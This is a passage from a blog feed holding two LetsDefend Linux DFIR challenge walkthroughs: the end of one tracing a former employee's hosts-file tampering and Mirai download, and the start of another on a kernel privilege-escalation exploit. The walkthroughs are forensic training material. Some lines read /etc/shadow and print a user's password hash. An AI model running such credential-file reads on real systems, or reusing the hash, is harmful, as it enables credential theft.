src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/de6dcf4cc050ff6dd93e842ce6e27703_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying host file and ping activity within the .bash_history&lt;/p&gt;&#xA;&lt;p&gt;sudo nano /etc/hosts&lt;/p&gt;&#xA;&lt;p&gt;This tells us that the attacker modified the hosts file, which is used to create manual IP-to-hostname mappings. Since the hosts file is checked &lt;em&gt;before&lt;/em&gt; DNS resolution, any manual entry here would override the actual DNS record. If &lt;em&gt;hackerman&lt;/em&gt; made a modification, the domain could be mapped to attacker-controlled infrastructure.&lt;/p&gt;&#xA;&lt;p&gt;So, our next stop is to examine the contents of the hosts file. Once again, we can simply &lt;code&gt;cat&lt;/code&gt; it to the terminal:&lt;/p&gt;&#xA;&lt;p&gt;cat /media/root/29153a2e-48a7-4e89-a844-dfa637a5d461/etc/hosts&lt;/p&gt;&#xA;&lt;p&gt;And there it is: the &lt;code&gt;mmox.challenges&lt;/code&gt; domain is mapped to the IP address:&lt;/p&gt;&#xA;&lt;p&gt;185[.]199[.]111[.]153&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;888px&#34; data-flex-grow=&#34;370&#34; height=&#34;216&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/68abf1eade36c9ab05b3536e509b20a5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying malicious IP association within /etc/hosts&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1072px&#34; data-flex-grow=&#34;446&#34; height=&#34;179&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/ed05b27ad253f341ebbe292889ef4c5c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-13-what-is-the-password-hash-of-the---&#34;&gt;Question 13: What is the password hash of the &amp;quot; # &amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;hackerman&amp;rdquo;&#xA;user?&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ve made it to the last question, and our final task is to retrieve the password hash for the &lt;em&gt;hackerman&lt;/em&gt; user account.&lt;/p&gt;&#xA;&lt;p&gt;To do this, we need to access the contents of the &lt;code&gt;/etc/shadow&lt;/code&gt; file within the mounted image. The &lt;code&gt;/etc/shadow&lt;/code&gt; file is one part of the Linux authentication system and contains, among other properties, the password hashes for all user accounts on the system.&lt;/p&gt;&#xA;&lt;p&gt;For the purposes of our investigation, we can use &lt;code&gt;cat&lt;/code&gt; and &lt;code&gt;grep&lt;/code&gt; to focus on retrieving the hash for the &lt;em&gt;hackerman&lt;/em&gt; user:&lt;/p&gt;&#xA;&lt;p&gt;cat /media/root/29153a2e-48a7-4e89-a844-dfa637a5d461/etc/shadow | grep &amp;ldquo;hackerman&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;After running the command, we&amp;rsquo;ll see the line containing the hash displayed.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1777px&#34; data-flex-grow=&#34;740&#34; height=&#34;108&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/9b88525887d314945e33f459764a9ab2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the user password hash within /etc/shadow&lt;/p&gt;&#xA;&lt;p&gt;$y$j9T$71dGsUtM2UGuXod7Z2SME/$NvWYKVfU9fSpnbbQNbTXcxCdGz4skq.CvJUqRxyKGx6&lt;/p&gt;&#xA;&lt;p&gt;For the scope of this investigation, we only need to copy the first part of the line, which contains the algorithm identifier, salt, and the hash itself — everything before the first &lt;code&gt;:&lt;/code&gt; symbol.&lt;/p&gt;&#xA;&lt;p&gt;Now that we&amp;rsquo;ve retrieved the password hash, let&amp;rsquo;s submit our answer and wrap up this investigation. Great work!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1163px&#34; data-flex-grow=&#34;484&#34; height=&#34;165&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/e801ea9788430af760560fa659c2a344_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;486px&#34; data-flex-grow=&#34;202&#34; height=&#34;395&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/f461fb9dc0264aff8c4873bc4bdc63c9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Case closed! Starting with the &lt;code&gt;.bash_history&lt;/code&gt;, we were able to identify the actions taken by the employee on the system and uncover clues pointing us to various logs, including: &lt;code&gt;history.log&lt;/code&gt;, &lt;code&gt;auth.log&lt;/code&gt;, &lt;code&gt;/etc/hosts&lt;/code&gt;, and &lt;code&gt;/etc/shadow&lt;/code&gt;. Using these logs, we followed the trail to a malicious script used to download malware, identified as Mirai, on &lt;em&gt;VirusTotal&lt;/em&gt;. This confirms the former employee was up to no good. It&amp;rsquo;s time to report our findings and close out our Linux Forensics walkthrough.&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for yet another awesome challenge. I chose this one to brush up on my Linux skills. Coming from the Windows world, I&amp;rsquo;m much more familiar with the forensic artifacts available there. While I jump in and out of Linux for other tasks, I realized I&amp;rsquo;d never had the opportunity to explore what kinds of artifacts are available — and I wasn&amp;rsquo;t disappointed! This challenge was a great excuse to spend time digging through logs and researching the Ubuntu man pages to get my hands dirty. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/07670987b1c64247f60a1576b9626235_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/linux-forensics&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/linux-forensics&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Ubuntu Man Pages — KPARTX:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://manpages.ubuntu.com/manpages/jammy/en/man8/kpartx.8.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://manpages.ubuntu.com/manpages/jammy/en/man8/kpartx.8.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Ubuntu Man Pages — DPKG:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://manpages.ubuntu.com/manpages/jammy/en/man1/dpkg.1.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://manpages.ubuntu.com/manpages/jammy/en/man1/dpkg.1.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Ubuntu Man Pages — PKEXEC:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://manpages.ubuntu.com/manpages/jammy/en/man1/pkexec.1.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://manpages.ubuntu.com/manpages/jammy/en/man1/pkexec.1.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Ubuntu Man Pages — SUDO:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://manpages.ubuntu.com/manpages/jammy/en/man8/sudo.8.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://manpages.ubuntu.com/manpages/jammy/en/man8/sudo.8.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal (Sample):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/ed6baf485cde6e94caa8326b91d323dbc53af58e954520ee55fed80b044c1985&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/ed6baf485cde6e94caa8326b91d323dbc53af58e954520ee55fed80b044c1985&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**nixCraft — &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Understanding /etc/shadow file format on Linux&amp;rdquo;&#xA;— Vivek Gite:** &lt;a class=&#34;link&#34; href=&#34;https://www.cyberciti.biz/faq/understanding-etcshadow-file/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.cyberciti.biz/faq/understanding-etcshadow-file/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Kernel Exploit Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/</link>
            <pubDate>Sun, 29 Jun 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Kernel Exploit Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--kernel-exploit-challenge-walkthrough&#34;&gt;LetsDefend — Kernel Exploit Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;a-linux-dfir-challenge-using-unix-like-artifacts-collector-logs&#34;&gt;A Linux DFIR Challenge Using Unix-Like Artifacts Collector Logs.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; width=&#34;700&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/kernel-exploit&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/kernel-exploit&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog searching for a comprehensive guide for the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/kernel-exploit&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Kernel Exploit&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. This challenge is a fantastic introduction to digital forensics and incident response (DFIR) on Linux— let&amp;rsquo;s check out the scenario below.&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;In the afternoon, network monitoring systems detected anomalous traffic patterns originating from a critical transaction processing server. Initial signs suggest a potential security breach. You have been provided with a forensic image of the affected system and tasked with conducting a thorough investigation to determine the scope of the incident.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;In this challenge, the stakes are high: we&amp;rsquo;re alerted to a critical transaction processing server that may have been compromised. It&amp;rsquo;s up to us to triage and analyze how the attack occurred, determine if this is a true positive, and figure out what we can do to prevent it from happening again.&lt;/p&gt;&#xA;&lt;p&gt;To run our investigation, we&amp;rsquo;re provided with a forensic image of the affected server. So, what&amp;rsquo;s in our toolkit for this one? Since the image was created using &lt;a class=&#34;link&#34; href=&#34;http://Unix-like%20Artifacts%20Collector%20%28UAC%29&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Unix-like Artifacts Collector (UAC)&lt;/strong&gt;&lt;/a&gt;, we&amp;rsquo;ll rely on the generated artifacts and analyze them manually using a simple text editor. To enrich our findings with additional threat intelligence, we&amp;rsquo;ll also pivot out to &lt;em&gt;VirusTotal&lt;/em&gt; and the &lt;em&gt;National Vulnerability Database&lt;/em&gt; for some extra flavor.&lt;/p&gt;&#xA;&lt;p&gt;Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-name-of-the-key-file-the-intruder-downloaded-to-elevate-their-privileges-after-gaining-unauthorized-access&#34;&gt;Question 1: What is the name of the key file the intruder downloaded to elevate their privileges after gaining unauthorized access?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s dive right in by opening the &lt;code&gt;ChallengeFile&lt;/code&gt; folder and extracting &lt;code&gt;linuxTriageImage.tar.zip&lt;/code&gt;, which contains &lt;code&gt;linuxTriageImage.tar.gz&lt;/code&gt;—go ahead and extract that too. This will leave us with the &lt;code&gt;linuxTriageImage&lt;/code&gt; directory, which contains all the artifacts we&amp;rsquo;ll analyze during our investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;415px&#34; data-flex-grow=&#34;173&#34; height=&#34;462&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/1866b8a889185fee645f9865b328d6ce_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;LetsDefend VM: Overview of challenge artifacts&lt;/p&gt;&#xA;&lt;p&gt;This might look overwhelming at first, but one file stands out immediately: &lt;code&gt;uac.log&lt;/code&gt;. Why is this important? This log indicates that the forensic utility &lt;a class=&#34;link&#34; href=&#34;https://github.com/tclahr/uac?tab=readme-ov-file#-documentation&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Unix-like Artifacts Collector (UAC)&lt;/strong&gt;&lt;/a&gt; was used to create the forensic image. According to the project&amp;rsquo;s GitHub page:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;UAC (Unix-like Artifacts Collector) is a powerful and extensible incident response tool designed for forensic investigators, security analysts, and IT professionals. It automates the collection of artifacts from a wide range of Unix-like systems, including AIX, ESXi, FreeBSD, Linux, macOS, NetBSD, NetScaler, OpenBSD and Solaris.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Whether you&amp;rsquo;re handling an intrusion, conducting forensic investigations, or performing compliance checks, UAC simplifies and accelerates data collection while minimizing reliance on external support during critical incidents.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Awesome! This gives us a starting point. We can reference the &lt;a class=&#34;link&#34; href=&#34;https://tclahr.github.io/uac-docs/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;UAC&lt;/em&gt; documentation&lt;/a&gt; to understand where specific artifacts are logged, and then put that knowledge into practice.&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 1&lt;/strong&gt;, we&amp;rsquo;re looking for a file or exploit downloaded by the attacker that was critical to their attack — specifically, something that enabled &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/tactics/TA0004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;privilege escalation&lt;/a&gt;. To identify it, we&amp;rsquo;ll leverage the artifact logs collected by &lt;em&gt;UAC&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Navigate to the &lt;code&gt;hash_executables&lt;/code&gt; folder within the challenge directory. Inside, you&amp;rsquo;ll find logs containing detailed information about executable files on the system. Let&amp;rsquo;s get an overview by opening &lt;code&gt;list_of_executable_files.txt&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;415px&#34; data-flex-grow=&#34;173&#34; height=&#34;462&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/b96024ebb367cee9b948a3eef377c9bd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Locating the executable file log&lt;/p&gt;&#xA;&lt;p&gt;This log makes it easy to search for executables present on the system. Try searching for something obvious like &lt;code&gt;&amp;quot;exploit&amp;quot;&lt;/code&gt; and see if anything interesting turns up.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;415px&#34; data-flex-grow=&#34;173&#34; height=&#34;462&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/74a51a99fddbf2aeddec9e6282c49fbc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying a suspicious file within the executable files log&lt;/p&gt;&#xA;&lt;p&gt;Hey, what do you know! We&amp;rsquo;ve found a potentially malicious file. Based on its name and its location in the &lt;code&gt;/tmp&lt;/code&gt; directory (a common staging area for the bad guys), it&amp;rsquo;s reasonable to assume this is the exploit the intruder downloaded to elevate their privileges.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;671px&#34; data-flex-grow=&#34;279&#34; height=&#34;286&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/a1a4ae006ced4a5f12e9fb2492d5f0a3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Validating the location of the suspicious file&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1777px&#34; data-flex-grow=&#34;740&#34; height=&#34;108&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/101b4f0b7cc7e7e4a822dda63ffaa8e5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-when-was-the-file-used-for-privilege-escalation-first-submitted-on-virustotal&#34;&gt;Question 2: When was the file used for privilege escalation first submitted on Virus Total?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve identified the malicious file used for privilege escalation, it&amp;rsquo;s time to gather some threat intelligence. One of the best places to start is &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt;, where we can check if this file has been seen before and how it&amp;rsquo;s been classified by various antivirus engines.&lt;/p&gt;&#xA;&lt;p&gt;But first, we need the file&amp;rsquo;s hash so we can search for it.&lt;/p&gt;&#xA;&lt;p&gt;There are a couple of ways to obtain the hash:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;From the terminal, we can generate the SHA256 hash using the following command:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;sha256sum exploit&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2313px&#34; data-flex-grow=&#34;963&#34; height=&#34;83&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/d36d0737577e6842d63217f60ca00273_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Using the terminal to calculate the SHA256 hash of the exploit&lt;/p&gt;&#xA;&lt;p&gt;d8dd09b01eb4e363d88ff53c0aace04c39dbea822b7adba7a883970abbf72a77&lt;/p&gt;&#xA;&lt;ol start=&#34;2&#34;&gt;&#xA;&lt;li&gt;Alternatively, &lt;em&gt;UAC&lt;/em&gt; already collected the SHA1 hash during triage. You can find it in the &lt;code&gt;hash_executables.sha1&lt;/code&gt; log inside the &lt;code&gt;hash_executables&lt;/code&gt; folder.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;416px&#34; data-flex-grow=&#34;173&#34; height=&#34;461&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/df38ab495a3acbd4dab411324f157633_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the SHA1 hash of the exploit within the hash_executables.sha1 log&lt;/p&gt;&#xA;&lt;p&gt;Once you&amp;rsquo;ve got the hash, head over to VirusTotal and paste it into the search bar. We&amp;rsquo;ll see that this sample has been submitted to the platform before and it&amp;rsquo;s detected as malicious by a majority of the antivirus vendors.&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 2&lt;/strong&gt;, we need to determine the first submission date of the file. You can find this under the &lt;em&gt;Details&lt;/em&gt; tab, in the &lt;em&gt;History&lt;/em&gt; section of the &lt;em&gt;VirusTotal&lt;/em&gt; report as &lt;em&gt;First Submission&lt;/em&gt;. This submission timestamp gives us some rough idea of how long the malware has been circulating.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;438px&#34; data-flex-grow=&#34;182&#34; height=&#34;438&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/a20d03f5a1dda6ccc6c44ebf7655d9a5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Identifying the first submission time of the sample&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1811px&#34; data-flex-grow=&#34;754&#34; height=&#34;106&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/d2b97d370f181533186ea72debea0eeb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-process-id-pid-of-the-operation-launched-by-the-attacker&#34;&gt;Question 3: What is the Process ID (PID) of the operation launched by the attacker?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve identified the binary as malicious, the next step is to uncover the Process ID (PID) associated with its execution to help us follow the attacker&amp;rsquo;s activity on the system.&lt;/p&gt;&#xA;&lt;p&gt;To do this, we&amp;rsquo;ll leverage the process artifacts collected by UAC. These logs are in the &lt;code&gt;live_response&lt;/code&gt; folder, within the &lt;code&gt;running_processes_full_paths.txt&lt;/code&gt; log. This file contains detailed information about all processes running on the system at the time of collection, including their full paths, user context, and PIDs.&lt;/p&gt;&#xA;&lt;p&gt;Once you&amp;rsquo;ve opened the log, search for the name of the malicious binary. This will take you directly to the relevant entry (line 369) which shows the PID of the exploit.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;417px&#34; data-flex-grow=&#34;173&#34; height=&#34;460&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/60b3d735674a96a4df9cc73ed770de9b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the entry for the running malicious process&lt;/p&gt;&#xA;&lt;p&gt;Having this information handy is valuable for our investigation because it helps us to identify further malicious activity by searching for any parent/child processes or correlating the PID with other logs.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1939px&#34; data-flex-grow=&#34;808&#34; height=&#34;99&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/7ccd017a07bf6799d9828de487ed2195_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-username-was-the-malicious-process-runningunder&#34;&gt;Question 4: What username was the malicious process running under?&#xA;&lt;/h3&gt;&lt;p&gt;Our next task is to determine which user context the malicious process was running under. For this, we can continue using the &lt;code&gt;running_processes_full_paths.txt&lt;/code&gt; log that we referenced in the previous question.&lt;/p&gt;&#xA;&lt;p&gt;Focus on the &lt;em&gt;user&lt;/em&gt; column in the log entry for the malicious binary. You&amp;rsquo;ll see that the process was running under the account named &lt;code&gt;a1l4m&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;417px&#34; data-flex-grow=&#34;173&#34; height=&#34;460&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/46148220cd1b891360ec6aa0cb9444cc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the user running the malicious process&lt;/p&gt;&#xA;&lt;p&gt;Understanding the user context is another valuable datapoint and helps us track privilege escalation. For example, if the attacker initially launched the exploit under a non-privileged user like 